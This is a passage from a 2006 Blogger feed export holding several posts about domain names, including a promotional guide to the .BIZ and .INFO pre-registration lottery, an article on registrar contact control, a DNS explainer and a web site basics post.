/&gt;&lt;br /&gt;All Domain Names pre-registered at that time (not&lt;br /&gt;registered by the Trademark owners) will go into the&lt;br /&gt;"hopper." The new Domain database holders, NeuLevel&lt;br /&gt;(.BIZ ) and Afilias (.INFO), will then select Domain Names&lt;br /&gt;at random from each of the different Domain Name&lt;br /&gt;registrars, round-robin fashion. Yes, it will be a real lottery.&lt;br /&gt;&lt;br /&gt;The random lottery drawings will continue until August&lt;br /&gt;22nd for .INFO Domains and September 29th for .BIZ&lt;br /&gt;Domains. At that time the remaining Domain Names&lt;br /&gt;will be sold by standard registration methods.&lt;br /&gt;&lt;br /&gt;How To Win Those Million-Dollar Domain Names&lt;br /&gt;&lt;br /&gt;The Secrets...&lt;br /&gt;&lt;br /&gt;1. Most Important Pre-Register Now! You want to be&lt;br /&gt;among those put into the "hopper" first. You should&lt;br /&gt;pre-register before the starting day. After that the whole&lt;br /&gt;world will know about the Land Rush.&lt;br /&gt;&lt;br /&gt;2. You can vastly increase your odds by pre-registering&lt;br /&gt;the same .INFO names with several Domain Name&lt;br /&gt;registration companies.&lt;br /&gt;&lt;br /&gt;3. You can now buy several "tickets for the same .BIZ&lt;br /&gt;Domain Name from the same registration company.&lt;br /&gt;&lt;br /&gt;Like the lottery, you are simply buying more tickets but with&lt;br /&gt;different companies each having their "own" drawings from&lt;br /&gt;the same pot. You don't care which registrar gets that great&lt;br /&gt;Domain Name for you, just so it is registered to you.&lt;br /&gt;&lt;br /&gt;How Much Does It Cost For A Pre-Register Lottery&lt;br /&gt;Ticket For A New .BIZ Or .INFO Domain?&lt;br /&gt;&gt;From FREE to $27,250.00 per name.&lt;br /&gt;&lt;br /&gt;1. FREE Pre-Registrations.&lt;br /&gt;http://newdomains.networksolutions.com&lt;br /&gt;Network Solutions (Internic) has been collecting .BIZ and&lt;br /&gt;.INFO Domain Names for pre registration for months.&lt;br /&gt;They probably have over a million new .info and .biz names&lt;br /&gt;pre-registered. The good news is you can add your selection&lt;br /&gt;to this list for FREE.&lt;br /&gt;&lt;br /&gt;By all means, pre-register your .BIZ and/or .INFO Domain&lt;br /&gt;desires with Internic. If you actually get that great new&lt;br /&gt;Domain Name you will only have to pay Internic (about&lt;br /&gt;$70.00) for the first two years.&lt;br /&gt;&lt;br /&gt;Our suggestion is to register every great new Domain Name&lt;br /&gt;you can afford to pay for into the Internic que. (I&lt;br /&gt;pre-registered&lt;br /&gt;about 40 .BIZ and .INFO names with Internic myself.) Of&lt;br /&gt;course, just because you have a great new Domain&lt;br /&gt;pre-registered with one registration company, it does not&lt;br /&gt;mean you will get the name. If your Domain choice is&lt;br /&gt;pre-registered by someone with another registration&lt;br /&gt;company whose list is filed first, they will get the Domain.&lt;br /&gt;But try to pre-register the names you desire. As the&lt;br /&gt;expression goes, "It is hard to beat FREE!"&lt;br /&gt;Late Breaking .BIZ Information...&lt;br /&gt;&lt;br /&gt;NeuLevel (BIZ master database holder) received the OK&lt;br /&gt;from ICANN to charge fee for every .BIZ Domain&lt;br /&gt;pre-registered until the end of the Land Rush Lottery&lt;br /&gt;period. This non-refundable fee is $10.00 per&lt;br /&gt;pre-registered .BIZ Domain. Some registrars like&lt;br /&gt;Domain Name Vault are discounting this fee to $6.00&lt;br /&gt;and down to $4.50 depending on volume. Many&lt;br /&gt;registrars are still offering free .BIZ Domain&lt;br /&gt;pre-registrations but the free pre-registration does&lt;br /&gt;not include in the Round-Robin lottery. Your actual&lt;br /&gt;free .BIZ registration may not be submitted until after the&lt;br /&gt;lottery.&lt;br /&gt;&lt;br /&gt;More Late Breaking .BIZ Information...&lt;br /&gt;Now like the lottery... You can buy as many&lt;br /&gt;pre-register "tickets" as you desire for a specific&lt;br /&gt;.BIZ Domain Name.&lt;br /&gt;&lt;br /&gt;2. Paid Pre Registrations.&lt;br /&gt;Due to the large numbers of Internic free pre-registered&lt;br /&gt;.BIZ and .INFO Domains, your odds for getting a hit are&lt;br /&gt;low. The odds increase when you go to a Domain Name&lt;br /&gt;registration company whose que has smaller numbers, i.e.&lt;br /&gt;a paid pre-register. Because the Domain Names are fed&lt;br /&gt;into the database at random from each registrar, the&lt;br /&gt;smaller registrars should get their list of Domains&lt;br /&gt;registered first (as it is a smaller number).&lt;br /&gt;&lt;br /&gt;$1.00 Per Name Pre-Registration.&lt;br /&gt;Domain Name Vault will pre-register your choice for $1 per&lt;br /&gt;name, minimum of twenty names. The money is&lt;br /&gt;non-refundable. Any new Domain Names you actually&lt;br /&gt;obtain, you will pay the discounted Domain price of $19.95&lt;br /&gt;per year, two year minimum.&lt;br /&gt;http://DomainNameVault.com&lt;br /&gt;&lt;br /&gt;$6.00 Per .BIZ Name Pre-Registration.&lt;br /&gt;Domain Name Vault will discount the $10 pre-registrations&lt;br /&gt;fee your .BIZ choice for $6 per name. You can pre-register&lt;br /&gt;as many "tickets" for the same name as you desire at $6.00&lt;br /&gt;each and down to $4.50 by volume. The money is&lt;br /&gt;non-refundable. Any new Domain Names you actually&lt;br /&gt;obtain, you will pay the discounted Domain price of&lt;br /&gt;$19.95 per year, two year minimum.&lt;br /&gt;https://pollux.safe-order.net/domainnamevault/BizPreReg.htm&lt;br /&gt;&lt;br /&gt;The lower number in the Domain Name Vault que should&lt;br /&gt;increase your chances of obtaining your selected new&lt;br /&gt;.INFO Domains. (I also pre-registered the same 40 new&lt;br /&gt;.BIZ - .INFO Domain Names as I did with Internic to&lt;br /&gt;increase my odds of success)&lt;br /&gt;&lt;br /&gt;New ICANN Approved Rules...&lt;br /&gt;You can now buy as many "tickets" for a specific&lt;br /&gt;.BIZ Domain Name as you desire.&lt;br /&gt;This will increase your odds of winning.&lt;br /&gt;As an example: you can buy 20 pre-registration tickets for&lt;br /&gt;"Loans.BIZ," your investment for the twenty names ($6.00&lt;br /&gt;per ticket) is $120.00. If you win the Loans.BIZ Domain&lt;br /&gt;you will then pay only $19.95 per year (two year min.)&lt;br /&gt;The more .BIZ "tickets" pre-registered the better chance&lt;br /&gt;of winning.&lt;br /&gt;&lt;br /&gt;.INFO Name Pre-Registration.&lt;br /&gt;.INFO Pre-Registration are still only $1.00 (at least at&lt;br /&gt;Domain Name Vault.) The rules are different for .INFO.&lt;br /&gt;There is only one pre-registered specific name per&lt;br /&gt;registrar. To win your best bet is to register your favorite&lt;br /&gt;.INFO Domain with several registrars.&lt;br /&gt;&lt;br /&gt;$10.00 Per Name Pre-Registration.&lt;br /&gt;http://www.NewInternetExtensions.com will pre-register&lt;br /&gt;your choice for $10.00 per name. The money is also&lt;br /&gt;non-refundable. Any New Domain Names you actually&lt;br /&gt;obtain you will pay an additional $50.00 - $60.00.&lt;br /&gt;There are already over 250,000 .BIZ - .INFO pre-registered&lt;br /&gt;Domains here to date, so you will be on a large waiting list.&lt;br /&gt;(I also pre registered my 10 best Domain Name choices.)&lt;br /&gt;This $10.00 non-refundable $10.00 fee may become&lt;br /&gt;the rule.&lt;br /&gt;&lt;br /&gt;$7,560.00 Up Per Name Pre-Registration.&lt;br /&gt;Yes, that's not a typo. And the bidding seems to start at&lt;br /&gt;$7,560.00 per Domain. http://www.eNom.com will&lt;br /&gt;pre-register .BIZ - .INFO Domains but you must bid&lt;br /&gt;against others desiring the same name and the highest&lt;br /&gt;bidder will get the Domain Name. You pick any .BIZ -&lt;br /&gt;.INFO name and make a bid.&lt;br /&gt;&lt;br /&gt;This has to be the craziest Domain Name deal ever. eNom&lt;br /&gt;Domain Registrar is auctioning off things they do not own&lt;br /&gt;and remember eNom.com may not get any Domains bided.&lt;br /&gt;&lt;br /&gt;The current top three .BIZ - INFO Domains in the eNom&lt;br /&gt;bidding game are:&lt;br /&gt;&lt;br /&gt;* golf.info current bid $27,250.00&lt;br /&gt;* computers.biz current bid $10,000.00&lt;br /&gt;* xxx.biz current bid $8,020.00&lt;br /&gt;&lt;br /&gt;Want to know the top 50 requested .BIZ - .INFO Domains?&lt;br /&gt;https://www.enom.com/NewTLDs/TopRequests.asp&lt;br /&gt;&lt;br /&gt;Isn't America great? As I see it, paying the $27,250.00&lt;br /&gt;price for golf.info will have the same success odds as the&lt;br /&gt;$1 pre-registration. Duhh... (I did not place a bid with&lt;br /&gt;eNom but if you have big bucks to play the game, go for it!)&lt;br /&gt;The Bottom Line&lt;br /&gt;&lt;br /&gt;1. Get pre-registered for your .BIZ and&lt;br /&gt;.INFO names NOW!&lt;br /&gt;There will never be an Internet gold rush like this one.&lt;br /&gt;Remember, if you get a .BIZ and .INFO Domain Name&lt;br /&gt;you will be charged. You will want to choose wisely and&lt;br /&gt;register only as many Domains as you can afford to pay&lt;br /&gt;if you actually get the name(s). The cost, depending on&lt;br /&gt;where you pre-register should be between Domain&lt;br /&gt;Name Vault's discount price of $19.95 up to Internic's&lt;br /&gt;$35.00 per year (both two years minimum). If you get&lt;br /&gt;one of these million-dollar names and decide not to use&lt;br /&gt;it you can always resell the name for big bucks.&lt;br /&gt;https://pollux.safe-order.net/domainnamevault/BizInfoPreReg.htm&lt;br /&gt;&lt;br /&gt;2. Pre-register the same Domain with several different&lt;br /&gt;Domain Name registration companies.&lt;br /&gt;If your chosen .INFO name is already selected by someone&lt;br /&gt;else, do not be discouraged. Go to another registration&lt;br /&gt;company. Remember NO .BIZ or .INFO Domains have&lt;br /&gt;actually been registered anywhere... you still have a chance!&lt;br /&gt;&lt;br /&gt;3. Pre-register the same .BIZ Domain with several&lt;br /&gt;times with the same Domain Name&lt;br /&gt;registration company.&lt;br /&gt;.BIZ Domain Name odds can be increased by buying&lt;br /&gt;several pre-register "tickets" with the same registrar.&lt;br /&gt;&lt;br /&gt;Links...&lt;br /&gt;http://newdomains.networksolutions.com&lt;br /&gt;https://pollux.safe-order.net/domainnamevault/BizInfoPreReg.htm&lt;br /&gt;http://www.NewInternetExtensions.com&lt;br /&gt;https://www.enom.com/NewTLDs/TopRequests.asp&lt;br /&gt;&lt;br /&gt;Two More .BIZ And .INFO Domain Tips.&lt;br /&gt;A. Protect Your Trademark.&lt;br /&gt;Trademark owners can keep the squatters away by&lt;br /&gt;registering .BIZ, .INFO names during Sunrise Period.&lt;br /&gt;Save a lot of lawyer fees by registering your Trademark&lt;br /&gt;with .Info and .Biz. This is your cheapest insurance to&lt;br /&gt;protect your Trademark. Special advance registration&lt;br /&gt;will end on June 24h, after that all new .BIZ Domain&lt;br /&gt;Names are up for grabs.&lt;br /&gt;Trademark Owners Pre-register Now!&lt;br /&gt;https://pollux.safe-order.net/domainnamevault/SunrisePreReg.htm&lt;br /&gt;&lt;br /&gt;B. Protect Your Current ".COM" Domain.&lt;br /&gt;You can keep the squatters away by registering .BIZ -&lt;br /&gt;.INFO backups. We are protecting our Domain Name&lt;br /&gt;"SubmitPro5000.com" by pre-registering&lt;br /&gt;"SubmitPro5000.biz" and "SubmitPro5000.info."&lt;br /&gt;This is cheap insurance to protect our Web future.&lt;br /&gt;It will be smart to pre-register all Domains you need for&lt;br /&gt;your business and a few more on speculation. Do not&lt;br /&gt;put this off, do it now. If you choose the Domain Name&lt;br /&gt;wisely it will be worth many times what you paid.&lt;br /&gt;Remember, hot Domain Names are selling for hundreds&lt;br /&gt;of thousands of dollars, and a few are selling for&lt;br /&gt;over a million.&lt;br /&gt;&lt;br /&gt;Pay attention! Don't let this chance of a lifetime slip by,&lt;br /&gt;&lt;br /&gt;Get ready for the Land Rush!&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115829377745550444?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115829377745550444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115829377745550444&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829377745550444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829377745550444'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/how-to-win-biz-info-domain-lottery.html' title='How To Win The .BIZ - .INFO Domain Lottery.'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115829353417278036</id><published>2006-09-15T11:09:00.000+07:00</published><updated>2006-09-15T11:12:14.343+07:00</updated><title type='text'>Think You Control Your Domain Name? Think Again!</title><content type='html'>Permission is granted for free publication of this article, either electronically or in print, provided both the bylines and resource box are included. A courtesy copy of your publication would be appreciated.&lt;br/&gt;&lt;br/&gt;Let me ask you some questions that may sound "obvious" but can have downright scary answers. Did you buy your domain name from a service? Do you know who is in control of your domain name? Have you done a "Whois" search to find out? The answer may very well shock you!&lt;br/&gt;&lt;br/&gt;Buying a domain name is a very easy thing to do. But if you buy a domain name without any knowledge of "ownership" vs. "control", you could very well be headed down a bumpy road.&lt;br/&gt;&lt;br/&gt;Unfortunately, most Web site owners are unaware that "ownership" does not equate to "control." Just because you paid for your domain name does not mean you have access or authority to make changes, transfers or other necessary functions. But if not you - the owner - who does?&lt;br/&gt;&lt;br/&gt;There are 4 components to a domain name:&lt;br/&gt;&lt;br/&gt;1.Registrant: you - the person who registered the domain name&lt;br/&gt;2.Billing Contact: could be anyone&lt;br/&gt;3.Technical Contact: could be anyone&lt;br/&gt;4.Administrative Contact: could be anyone&lt;br/&gt;&lt;br/&gt;The registrant is you. You might assume that items two, three and four are also you. A natural assumption. Guess what… most of the time they are not! THIS is where you get into trouble.&lt;br/&gt;&lt;br/&gt;Who's In Control?&lt;br/&gt;&lt;br/&gt;So whose names are listed in the "control" spots? Nine times out of ten, it is a person within the organization you purchased your domain name from. Any inquiries about billing, technical issues and administrative questions are sent to this arbitrary person. The domain name registration company has FULL control over your URL. What does this mean?&lt;br/&gt;Even though you are the owner, and you make a request for changes, the confirmation request will go to the administrator for verification. This person has the full authority to approve or reject changes to your domain name.&lt;br/&gt;&lt;br/&gt;The Dangers&lt;br/&gt;&lt;br/&gt;Keep one thing in mind, domain registrars can, and do, go out of business. They get bought and sold just like other organizations. They are not legally required to notify you of any changes within their firm. This fact alone can cause unlimited problems with renewals, changes, sales or transfers. But that's not all.&lt;br/&gt;&lt;br/&gt;Let's say you put in a domain transfer request. A time sensitive confirmation will be sent from the registrar of your domain name to the administrative contact. This confirmation must be answered within a certain timeframe. Now, if the administrative contact is someone at the business you purchased your domain name from we could have a serious problem. That person might be on vacation, sick, fired, or even under orders not to respond. In any case, your transfer will be denied. Think it doesn't happen. I'm horrified to tell you it does - every single day.&lt;br/&gt;&lt;br/&gt;What does the technical contact control? Basically, where your Web site "lives." What happens if you submit a hosting transfer request and your technical contact (not you - someone at the business you got your domain name from) does not respond to the message? Your domain name is trapped! Worse case scenario… your site is down for days or weeks because your Web site lives at one place, and your domain name lives somewhere else.&lt;br/&gt;&lt;br/&gt;And finally, the billing contact. At some point it will be time to renew your domain name registration. Most registrars send a notice to the billing contact 30 days before the payment is due. For whatever reason, the person listed as the billing contact does not contact you about the renewal. You just lost your domain name due to expiration!&lt;br/&gt;&lt;br/&gt;Your Domain Name Is Being Held Hostage&lt;br/&gt;&lt;br/&gt;When a domain name registration company forces itself into the contact fields of your registration records, it's commonly know as being "held hostage."&lt;br/&gt;&lt;br/&gt;I personally know of countless horror stories of online business owners who have fought tirelessly to "free" their domain names and regain control. They will be glad to tell you the woes of losing control of your URL. So what do you do about it? How do you get back full control of your business?&lt;br/&gt;&lt;br/&gt;Steps To Take&lt;br/&gt;&lt;br/&gt;Make sure when you register a domain name that the registrant, administrative, technical and billing contacts are in your name. Just as soon as you receive confirmation and access information, log in and change any "forced" contact information to your name.&lt;br/&gt;&lt;br/&gt;Use a contact email address you will always have. A good one is the one associated with your domain name. The email address on record must match the email address you are sending a request from. If you use an email associated with your ISP (@hotmail.com, @rr.sc.com, @earthlink.com) and later change ISPs, you'll have to make contact information corrections prior to making any transfers, etc.&lt;br/&gt;&lt;br/&gt;And lastly, if at all possible, register with a company that provides you with a management or control center. This is - without a doubt - the safest way to go.&lt;br/&gt;&lt;br/&gt;·You won't have to wait for someone else to make needed changes.&lt;br/&gt;·You won't have to ask anyone for permission to make changes.&lt;br/&gt;·You will never be denied the changes you need to make.&lt;br/&gt;·You won't lose your domain name because the company listed as "contact" closed or was bought out.&lt;br/&gt;·You won't lose your domain name because you weren't notified of the renewal date.&lt;br/&gt;·You WILL be in full control of the most important part of your company - your domain name.&lt;br/&gt;&lt;br/&gt;Take back control of your domain name today. Make the necessary adjustments to the contacts on record so that your URL can never be held hostage.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115829353417278036?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115829353417278036/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115829353417278036&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829353417278036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829353417278036'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/think-you-control-your-domain-name.html' title='Think You Control Your Domain Name? Think Again!'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115829331794189396</id><published>2006-09-15T11:07:00.000+07:00</published><updated>2006-09-15T11:08:38.093+07:00</updated><title type='text'>What is a domain name and why would I want one?</title><content type='html'>In this article we will cover the basics of what a domain name is, how they work and why you need to have at least one. I am going to try and avoid complicated computer terms and stick to explanations that should be easily understood by someone without a computer science degree.&lt;br/&gt;&lt;br/&gt;What is a Domain Name? Before we can go into what a domain name is I'm going to tell you why we need them as the answers compliment each other. The Internet is just a really big collection of connected computers (a network). For the purpose of explaining domain names you can think of the Internet a bit like the phone system and just like the phone system every computer on the Internet has it's own phone number except an Internet phone number is called an IP addresses. This address is made up of up to 12 digits in the form 123.123.123.123, computers use these IP addresses to send information to each other over the Internet.&lt;br/&gt;&lt;br/&gt;When the Internet was first created it quickly became clear that these IP addresses were not easy to remember and another method was need to make these addresses more human friendly. The solution to this was the Domain Name System (DNS). Basically the DNS is a really really big phone book for computers. When you type a web site address into your web browser it checks the DNS for that website name and finds the IP address. Once it has the IP address it can then send a message to that computer and ask it for the web page you wanted.&lt;br/&gt;&lt;br/&gt;Ok so you know a domain name is part of a web site address but which part? Lets look at a website address so we can identify and discuss what bit of it is a domain name.&lt;br/&gt;http://www.itxcel.com/index.html&lt;br/&gt;&lt;br/&gt;The above address is the home page of the itXcel web site. It can be split into 3 main parts. The first part is http:// this just tells your web browser what kind of information it is going to get and how to get it. The last part is /index.html this is name of the files on the remote computer that you want your browser to get. The bit in the middle www.itxcel.com is a domain name. This is the name that your computer sends to the DNS to get back the IP address.&lt;br/&gt;&lt;br/&gt;So you know what a domain name is and that there is a phone book called the DNS to change your easy to remember domain name into an IP address that you computer can understand. The Internet phone book (DNS) is special in that everyone on the Internet needs to be able to use it. This makes the DNS very very big (100+ million addresses big). Due to the size of this phone book it needed to have a carefully organised and managed structure.&lt;br/&gt;&lt;br/&gt;Domain names themselves are split into different levels like a hierarchy. The DNS system uses this hierarchy to search the DNS for the IP address of the domain name it is trying to find. The last bit of a domain, in the previous example the com part is called the top level domain. There are a large selection of top level domains like com, net, org and info. There are also very similar endings called country level domains like uk and de. Each of the top level and country level domains are managed by a different organization, sometimes these are companies or non profit organizations and sometimes governments. In the domain business these organisations are referred to as the registries. Each registry looks after it's own part of the domain name system.&lt;br/&gt;If you decide you want to use a domain name in the top level domain com, like mycompany.com you would have to have this name assigned by the registry that manages that top level domain (for .com a US company called VeriSign). The process of being assigned a domain name is called domain registration.&lt;br/&gt;&lt;br/&gt;Domain registration is more like a lease than a purchase. You are renting the second level domain (the mycompany bit) from Verisign for a specific amount of time normally between 1 and 10 years at a time. Most of the organizations that allow you to register a second level domain charge a fee for each year that you register the domain for. With almost all domain names you are also given the option to renew your registration (lease) when it is close to running out (expiring).&lt;br/&gt;&lt;br/&gt;Once you have registered a second level domain you are free to create as many third level domains (sometimes called sub domains) as you like. In our previous example the www is a sub domain of itxcel.com&lt;br/&gt;&lt;br/&gt;Most of the registries that manage these top level domain names do not allow individuals or businesses to register domains directly with them. To register a domain you need to use a company like itXcel. We act as a registrar and send all the required information and the registration fee to the registry. Registrars are useful as they hide the differences that exist in each of the registries from the customer and provide a simple step by step process for registering a domain. A registrar also allows you to manage and track all your domains from one place rather than having to deal with a different company for each top level domain.&lt;br/&gt;&lt;br/&gt;OK so I know what a domain name is, Why do need one? Can you image what a nightmare it would be if you had an email address like myname@123.246.128.255 or a web site address http://123.246.128.255/. These addresses are possible but not very easy to remember. Now if you register a domain name you could create an email address like myname@mycompany.com and a web site address like http://mycompany.com These are much easier to remember and look 100 times more professional.&lt;br/&gt;&lt;br/&gt;One of the important points about registering a domain is that once done you have an exclusive right to use that domain for as long as you keep the domain registered in your name. If you do not renew a domain at the end of it's registration period it will again become available for registration by someone else. For this reason even if you don't want or need a web site at the moment, it's still a good idea to register a domain as soon as possible. Just imagine if your competition registered the domain name of your company or product. Although there is a process in place to retrieve these domain it can be long and complicated. It is definitely simpler to spend a little money up front to secure your chosen domain names.&lt;br/&gt;&lt;br/&gt;To find out what domains are available and to quickly and cheaply register them visit http://www.itxcel.com now and enter your desired name in the domain search box.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115829331794189396?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115829331794189396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115829331794189396&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829331794189396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829331794189396'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/what-is-domain-name-and-why-would-i.html' title='What is a domain name and why would I want one?'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115829311539593669</id><published>2006-09-15T11:03:00.000+07:00</published><updated>2006-09-15T11:05:15.476+07:00</updated><title type='text'>Web Site Basics</title><content type='html'>the web or internet is an exciting place, but can seem very daunting to the novice web designer.&lt;br/&gt;You want to get a web site up and live, how is it done, and how can it be done cheaply?&lt;br/&gt;&lt;br/&gt;Domain Names&lt;br/&gt;&lt;br/&gt;The first step is to select a domain name, try and choose a name that is easy to remember, short, and if possible one that describes your website.&lt;br/&gt;&lt;br/&gt;Nearly all the obvious domain name have gone, so you may need to use your imagination!&lt;br/&gt;&lt;br/&gt;There are many domain name registration services such as my own site www.discountdomainsuk.com on the web. All domain names are created by the Top Level Domain providers such as Nominet in the UK so there is no great advantage in paying over the top for your domain name. Look for a company that offers telephone support, e-mail only can be frustrating.&lt;br/&gt;&lt;br/&gt;Web Hosting&lt;br/&gt;Next you will need some space on the web to publish or host your website. If you have a broadband or ADSL connection, you can use this to host your own site. It does of course mean that you can’t switch off your machine.&lt;br/&gt;To point a domain name at a site hosted in this way you need to have a static IP address and look for an IP pointing option in your domain name registrars control panel. This is usually called the domains Zone Records.&lt;br/&gt;Mostly everyone uses a third party hosting company; once again there are loads to choose from including my own service at www.discountdomainsuk.com&lt;br/&gt;Select the hosting package that best matches your requirements and budget. It’s usually best to start with a basic package than upgrade, hosting companies make most of their money by selling you space which you then don’t use.&lt;br/&gt;Your hosting company will provide you with a username and password to allow you to FTP, File Transfer Protocol your site to the hosting space.&lt;br/&gt;If you’re using a hosting company other than your domain name registrar, you will need their Primary and Secondary DNS or Domain Name Settings, which take the form of domain names e.g.&lt;br/&gt;Ns1@asdasdasd.co.uk&lt;br/&gt;Ns0@asdadadsa.co.uk&lt;br/&gt;&lt;br/&gt;Web Design&lt;br/&gt;A great package to start out web designing is MS FrontPage; it follows the format of the rest of the Microsoft office suite and is very reasonably priced and easy to pick up.&lt;br/&gt;Once you’ve progressed with FrontPage then a more professional and sophisticated package to try is Macromedia Dreamweaver.&lt;br/&gt;Once you have designed a site then simply select the publishing option, enter the domain name, your user name and password, and your site will FTP to your web-server.&lt;br/&gt;&lt;br/&gt;Summary&lt;br/&gt;That’s all there is too it. Getting a website up and live can be done in a matter of minutes, its worth mentioning that a new domain name and DNS changes can take up to 48 hours to get picked up by the worldwide DNS system.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
